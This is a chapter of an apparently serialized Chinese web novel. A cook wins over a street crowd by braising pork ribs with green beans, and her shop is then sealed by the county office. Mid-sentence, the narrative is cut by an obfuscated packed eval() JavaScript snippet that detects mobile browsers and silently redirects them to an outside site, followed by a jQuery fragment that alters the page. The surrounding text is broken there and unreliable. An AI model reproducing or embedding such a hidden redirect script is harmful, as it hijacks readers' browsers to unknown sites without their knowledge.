20. 排骨炖豆角

看客里不乏叫好者,却仍有继承了白日间从众心态的人。


“我们家常不吃这东西。这道菜这么简单,灶头都不用,太讨巧了,当然没什么机会动上手脚啊。”


“你这话说得不对,不懂行,这菜虽不需要开火,但小娘子那一手好刀工啊,啧,怎么也要个十年八年的吧?”


“不会吧,她才多大岁数啊?”


“人家当面切给你瞧了,还能作假的?”


蓝锦心中方向定了之后,并不把这些看法太放在心上。反而继续笑盈盈地说:


“这第一道菜就做得了。客人您拿好,这鱼杂我也收拾干净了,您回家拿辣椒蒜苗葱姜热热地一炒,是好吃的鱼籽鱼泡锅呢。”


“还有旁的客人要来试试吗?家常的我也能做,正好省了您做晚饭了。”


爱钓鱼的客人满眼放光地接过来,兴兴头头地赶回家了。他要给自己闺女露一手,今天咱家吃牡丹花儿呐!


有个刚去肉摊,把剩下的排骨脊骨都包圆的月牙眼衙役正路过,听得这边热闹纷纷,还当是有人聚众闹事。


围过来正赶上蓝锦此问,月牙眼衙役当即把两提子肉往桌上一排。


“我正愁怎么料理呢!搁我就是白水煮了蘸粗盐,吃得嘴里淡得跟什么似的,不痛快,你做你做。”


蓝锦照常给他展示了一遍自己要用到所有物什,耐心地解释了一遍进货渠道。


三下五除二地收拾好要用的葱姜蒜,各色红烧香料。


手执砍骨刀,干脆地把骨头切成小块,绿油油、脆生生的豆角切段。


旺旺地支起锅,倒进黄澄澄的菜籽油。


锅中一汪油的边沿冒起滋滋啦啦的小泡,就把豆角放进去煸炒,直到嫩生生的豆角被煎炸成油亮亮的绿色,再盛到一边。


再次起锅烧油,把那些葱姜香料一齐下入锅中,刺啦一下,油锅冒起热闹的大泡,溢出浓重的香味。


再把排骨溜着边滑进锅中。随着越来越响、潮水般的煎炒声,鲜红的排骨被煸得发白,肉质回缩,翘起焦黄的边沿。


令人幸福的肉香几乎飘满了整条街,四处都有人在说:“好香啊!这是谁家在做饭?”


排骨里的水汽被煸炒殆尽,蓝锦抓紧锅把,手腕使了巧劲,快快地颠了几下勺。


锅中突然窜起眉毛高的鲜红火苗,直赚得人群中一阵阵“噢噢噢~”的惊呼。


蓝锦观察着火候差不多了,不紧不慢地倒入自家酿的味极鲜、酱油和老抽,放入上好的陈年老花雕。


炒勺翻动之际,白皙的排骨被裹上了酱黄的色彩,肉香混合酱香,气味也更加复合。


上了色的肉本就诱人,更何况这还是蓝锦自家酿的调味秘方。


愈炒愈香,蓝锦适时倒入新的开水,以小火慢慢地炖煮着。


待到水咕嘟咕嘟地冒起大泡,直把青翠的豆角加进香得不行了的锅中,掀盖时的迷人荤香吊足了围观群众的胃口。


等到该出锅的时候,蓝锦细细问了月牙眼差役的喜好和忌口,撒上了些许蒜末,用自家的食盒盛给了他。


“下次带着食盒还来,能换玫瑰露的。”蓝锦冲他眨眨眼。


月牙眼哪里能忍得住回家再吃,当即跟蓝锦要了筷子,食盒也不拿了,端起盘子就在一旁的空桌上吃将起来。


夹起酱红油亮的排骨,一口咬下去,外酥里嫩,肉汁子在口中爆开。


排骨肉几乎脱骨,一扯就只剩下一根光溜溜的骨头。


“老板,有馒头吗?给我来六个!”


蓝锦早有准备,把一旁大蒸笼里的馒头取下盖子,并不用手碰,拿筷子夹出六个,端将过去。


一转身把筷子扔进干净水盆里,竟是用过就洗,不用第二回。


月牙眼一筷子夹起五六根豆角,嘴巴张得溜圆,一股脑塞进去。


豆角被熬煮透了,比那肉还吸汤汁吸味道,咸得够劲,香得够味。


再把馒头往盘子里一按,浓浓地吸满了肉汁子,张大了嘴一咬,满口生津,唇齿留香。


美啊!美得很!


众人围观这场突如其来的吃播,看那没一会功夫就堆得跟小山似的肉骨头,哈喇子流得就像白日间等着人散去、蓄势抢食的大黄狗们。


有人把手一扬,转过身去,大声喊道:“我这就去买食材,老板别收摊,等我回来!”


有人上前一大步挤到这人刚离开的空隙,更大声地说:“小娘子,我不需要买食材。我信你!这就给我上一份刚才一样的菜,要多少银钱?”


蓝锦眉毛一挑,爽朗地笑开了:“平素都要三百钱,小娘子信我,今日爽快价,我只收小娘子一百五十文!”


野兔一样的女娘滑不溜手地一下钻到前排,把怀里的钱往桌上一拍:“我要,我现在就要!”


蓝锦答道:“好,收了小娘子的钱,我还给小娘子传授些窍门,好叫你在家中也会料理这道菜。”


当下取出姜克松送来的半扇排骨,“哐”地往桌上一放,猪肉的鲜红和香气骗不了人,一看就是好肉。


“小娘子,我给你挑这不肥不瘦的地方。这一片,你自家买排骨时也可以选。”


“这样的脊骨肉吃了不硬,肌间肉吃了不肥,刚好烧排骨菜。”


蓝锦且做且教。“若为省油,豆角可以不用提前煸炒,只是这样做更香。”


“寻常家里做肉,怕腥臊,总要焯水。这道菜排骨肉吃起来娇嫩多汁的关键,就是不过水,直接炒。”


“我这炸了香料,煸了够量的葱姜,猪也是刚杀不久的,你放心,全然不会腥臊。”


等到要炒酱色了,又补充说:


“这是我特制的酱油,三种各有讲究。当然,用家常的酱油也能烧,放一种也行,但颜色味道也会逊色点。”


“想吃到一模一样的味道,还请到我蓝记来,省得您烟熏火燎地守灶台了。”


小娘子吃吃一笑,直接应了,耐心地边听边等。最后,珍而重之地把这盘冒着热气的排骨炖豆角端去一旁开吃了。


还没忘要上一碗米饭。


如是生意越来越好,有自家带来食材赶来的,有买了菜肉折返来的,也有不拘什么直接点菜的。


松鼠鳜鱼,糖醋小排,麻婆豆腐,蛋炒饭,香辣口水鸡,蚂蚁上树……蓝锦做得胳膊都酸了


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090788|163650||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


,心中却是高兴。


“哎,好吃,真好吃!”


“唉,悔不该放下那碗蹄髈啊!那多香啊,炖了这许久,汤浓稠的,肉烂烂的,肉皮子还滑嫩……都便宜那几条狗了!”


“还不是你叫我看眼色,别惹事,想起来我都亏得慌。”


“这下真是萧掌柜错怪小娘子啦,嗨,有些人听风就是雨的。”


“你还说呢,当时你听了反应可大,叫得可欢。”


“我,我那不是惜命嘛。总之我以后私下来吃就是了。”


“那蹄髈,早知道买一份了,以后还能吃得到吗?”


云江望和霍旭云今天又有考试,蒙头蒙脑地考了一整天,至晚方归,走路还打着飘。


见蓝锦和悟雅收拾着店门口满地的垃圾,看着明显是热闹过后的桌椅板凳,忙上前问:


“蓝姐姐,怎么又摆起暮食了?如此辛劳,不说今日是斗菜日吗?”


蓝锦笑笑,心中这事已经翻篇了,被问起也很平和,三言两语交待了。


两姐妹听到一半,已经攥起小拳头:“这怎么行,就仗着她姓萧,好像要把整个昭应城都改了姓似的!”


“蓝姐姐别怕,我们想法子,帮你收拾她。”


蓝锦好说歹说,跟她们掰开揉碎地讲了自己的想法。


“她想做的,无外乎就是中伤我的名声,抢走我的客人。”


“我今晚不过略露几手,便引得好评不断,连白日间嗤之以鼻的客人都灰溜溜地被勾来了,赞不绝口的。”


“做饮食行当,一时的钻营只能获得短期的利益,长远屹立不倒还是要依靠菜品本身。我就是那种能做出美味佳肴的大厨呀。”


“她在正经做菜方面胜我不得,不正说明我踩住了她的痛脚,而她完全没掌握饮食行当的关键吗?”


“只要我的手艺在,客人在,她不就是徒劳无功吗?我们终究是为了奔向自己的目标,不能叫爱争斗的小人拉进他们的泥淖。”


两小只仍是郁郁,霍旭云心疼地把小秋搂在怀里,拿帕子给她擦四处奔忙出来的额间的汗:


“给我们小秋也委屈坏了吧。”


小秋拿小嫩手大气一抹,坚持道:“不怕,我们很强大。”


几人相对笑了。


待人群散去,小秋睡着了,蓝锦一个人坐在灶间久久不动。


她衣衫单薄,双手有些发颤。不单纯是累的,也不是怕的。


蓝锦问自己:“这次我摆平了,下次呢,以后呢?”


摆平了一次,不代表安全。


蓝锦抬头望着窗外的浓黑夜色,有鸟雀喑哑地叫着划过暗影一般的枝头,月凉如水。


蓝锦心中明白,这并不是最终局。


她唯有变得更强大。


果然,意外又不意外地,早早醒来的蓝锦在店门上看到了封条。


县衙的封条。白底黑字的纸条子,被风吹得噼啪作响,像是不分青红皂白地给她盖棺定论。


蓝锦站在贴了封条的蓝记饮食店门口,伫立了良久。


玩闹的孩童还未出门,街道空荡荡的,只有两根封条在凉风里喧嚷。